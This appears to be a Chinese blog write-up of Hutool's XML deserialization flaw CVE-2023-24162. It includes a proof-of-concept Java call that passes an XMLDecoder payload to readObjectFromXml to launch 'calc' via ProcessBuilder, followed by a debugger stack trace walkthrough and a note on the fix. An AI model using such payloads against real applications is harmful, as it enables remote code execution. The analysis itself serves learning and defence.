hutool XML反序列化漏洞(CVE-2023-24162)
创始人
2024-05-29 18:21:13
0

漏洞简介

Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。

漏洞复现

我们在 maven 仓库中查找 Hutool

https://mvnrepository.com/search?q=Hutool

image

image

把依赖复制出来,添加到项目的 pom.xml 文件中


cn.hutoolhutool-all5.8.11

添加完成后刷新一下 maven 依赖

我们编写代码

import cn.hutool.core.util.XmlUtil;
public class Test {public static void main(String[] args)  {XmlUtil.readObjectFromXml("\n" +"    \n" +"        \n" +"            \n" +"                calc\n" +"            \n" +"        \n" +"        \n" +"    \n" +"\n");}
}

5

在项目目录下创建一个 bean.xml​ 文件,将 xml 放在文件中,构造代码也可以触发

import cn.hutool.core.util.XmlUtil;
import java.io.File;public class Test {public static void main(String[] args)  {File file = new File("bean.xml");XmlUtil.readObjectFromXml(file);}
}

6

漏洞分析

整个漏洞分析下来相对来时是比较简单的,但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)

image

当然这个地方也是可以通过读取文件来实现的

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)

image

cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)

image

java.beans.XMLDecoder#readObject

image

漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml​ 方法 就可以避免这个漏洞的产生。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

漏洞修复

在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml​ 方法,简单粗暴。

image

XMLDecoder.readObject

calc

object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)

array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)

void 标签,method 的值对应着 method 的参数 (start)

最后相当于执行了

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

为了方便看到整个调用联的流程,我们在触发漏洞的位置加上断点,分析其中经过了那些处理

java.lang.ProcessBuilder#start

image

start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:155, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:20, xmldecode (xml)

比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument​开始对 xml 进行解析

image

先简单描述一下我的理解,然后再截图与之相对应,可能部分理解并不完全正确

根据 xml 文件的中的标识来识别开始还是结束 <​ 对应着开始,​ 对应着结束

解析时会调用相对应的 Handler 进行处理,Handler 在 DocumentHandler.class​ 中被定义,通过节点名获取对应的handler

解析到结束标识时会调用到相对应的 Handler 中的 getValueObject​ 方法 最后实现命令执行(这里描述比较简单,后面根据代码在详细描述)

com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument

image

这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next

image

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next

image

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next

image

com.sun.beans.decoder.DocumentHandler#DocumentHandler

image

对应的 Handler 是根据节点返回的,最主要的漏洞触发位置应该是endElement​ 中

com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement

image

com.sun.beans.decoder.DocumentHandler#endElement

image

调用 StringElementHandler​ 对应的 endElement​ 方法 ,StringElementHandler​ 没有这个方法,调用其父类 ElementHandler​ 中 endElement

image

com.sun.beans.decoder.ElementHandler#endElement

image​​

com.sun.beans.decoder.StringElementHandler#getValueObject

image

最后返回获取到的值是 calc​ 添加到其父类对应的 Argument​ 属性

com.sun.beans.decoder.NewElementHandler#addArgument

image

接着将 handler​ 指向上一级的 handlerVoidElementHandler

调用 VoidElementHandler​ 对应的 endElement​ 方法 ,VoidElementHandler​ 没有这个方法,调用其父类 ObjectElementHandler​ 的父类NewElementHandler ​​ 的父类 ElementHandler​ 中 endElement

com.sun.beans.decoder.ElementHandler#endElement

image

com.sun.beans.decoder.NewElementHandler#getValueObject()image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

执行完后又有一个

调试返回的结果

com.sun.beans.decoder.DocumentHandler#endElement

image

com.sun.beans.decoder.ElementHandler#endElement

image

com.sun.beans.decoder.NewElementHandler#getValueObject()

image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

com.sun.beans.decoder.NewElementHandler#getContextBean

image

com.sun.beans.decoder.ElementHandler#getContextBean

image

com.sun.beans.decoder.NewElementHandler#getValueObject()

image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

com.sun.beans.decoder.NewElementHandler#getContextBean

image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

com.sun.beans.decoder.NewElementHandler#getValueObject()

image

com.sun.beans.decoder.ElementHandler#getContextBean

image

com.sun.beans.decoder.NewElementHandler#getContextBean

image

继续执行,最终触发命令执行

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

后一部分很像套娃

image

整个过程冗长繁琐,建议自己调试分析一下,可能了解的更加清楚。

相关内容

热门资讯

恋夜视频安卓系统Uc,恋夜视频... 亲爱的读者,你是否曾在深夜时分,被手机屏幕上跳动的视频吸引?今天,就让我带你一探究竟,揭开恋夜视频安...
鸿蒙套娃安卓系统视频,融合与创... 你知道吗?最近科技圈可是炸开了锅,因为华为的新操作系统鸿蒙OS又有了新动作。这不,他们竟然把鸿蒙套娃...
xp系统连接安卓手机问题,实用... 你有没有遇到过这样的情况:你的电脑上还运行着那个经典的XP系统,而你的安卓手机却时不时地想要和你亲密...
压缩安卓系统储存空间,高效管理... 手机里的照片越来越多,游戏也越玩越上瘾,可这安卓系统的储存空间却越来越紧张,是不是感觉像是在挤牙膏?...
安卓手游转苹果系统教程,轻松实... 你是不是也和我一样,手头有一堆安卓手游,突然之间想换换口味,体验一下苹果系统的魅力呢?别急,今天就来...
安卓原生系统锁屏暗,安卓系统锁... 亲爱的手机控们,你是否曾为安卓手机锁屏时的暗模式而感到好奇?那种在夜晚或光线不足的环境中,屏幕自动调...
安卓系统表情包下载地址,安卓系... 你是不是也和我一样,对安卓系统的表情包爱不释手?那些搞笑的、可爱的、甚至是有点小调皮的表情,总能让我...
原生安卓系统声音bug,揭秘那... 你有没有遇到过这种情况?手机里突然传来一阵奇怪的声音,让你瞬间从美梦中惊醒,或者正在专心工作时被打扰...
水果收银机安卓系统,便捷高效的... 你有没有想过,在繁忙的超市里,那些摆满新鲜水果的摊位,背后竟然隐藏着一个小小的科技秘密?没错,就是那...
安卓系统变苹果界面了吗,苹果界... 最近手机界可是炸开了锅,不少安卓用户都在议论纷纷:“安卓系统变苹果界面了吗?”这事儿可真不简单,得好...
miui操作系统与安卓系统吗,... 亲爱的读者,你是否曾在手机上看到过MIUI操作系统和安卓系统这两个名字,好奇它们之间有什么区别?今天...
安卓系统怎么卡道具界面,探究原... 手机用久了,是不是感觉安卓系统越来越卡?尤其是那个道具界面,点开就慢吞吞的,真是让人头疼。别急,今天...
安卓系统红包加速器,畅享无阻新... 你有没有发现,现在用手机抢红包简直是一场速度与激情的较量?别急,别急,让我来给你揭秘一款神器——安卓...
安卓经典版系统更新时间,从首次... 你有没有发现,最近你的安卓手机又悄悄地变了个样?没错,就是那个陪伴我们多年的经典版系统,它又来更新啦...
安卓系统开发要多久,约需1-2... 你有没有想过,自己动手开发一个安卓应用,究竟需要多长时间呢?这可是个让人好奇的问题,毕竟安卓系统开发...
原生安卓系统手机壁纸图片,探索... 亲爱的手机控们,你是否曾为寻找一款独特的壁纸而烦恼?今天,就让我带你走进原生安卓系统手机壁纸的奇幻世...
bmw安卓互联系统,智能驾驶新... 你有没有发现,现在开车已经不仅仅是驾驶那么简单了?一辆好车,还得有个好“大脑”,这样才能让你的驾驶体...
安卓手机升级系统卡吗,安卓手机... 你有没有遇到过这种情况:安卓手机升级系统后,突然感觉手机像蜗牛一样慢吞吞的,心里那个急啊!今天,就让...
无线麦克风安卓系统,轻松实现无... 你有没有想过,在一场热闹的K歌派对或者重要的演讲场合,无线麦克风简直就是救星啊!想象你手握麦克风,自...
怎么重新定制安卓系统,打造专属... 你有没有想过,你的安卓手机其实可以变得独一无二,就像是你自己的小宇宙一样?没错,就是重新定制安卓系统...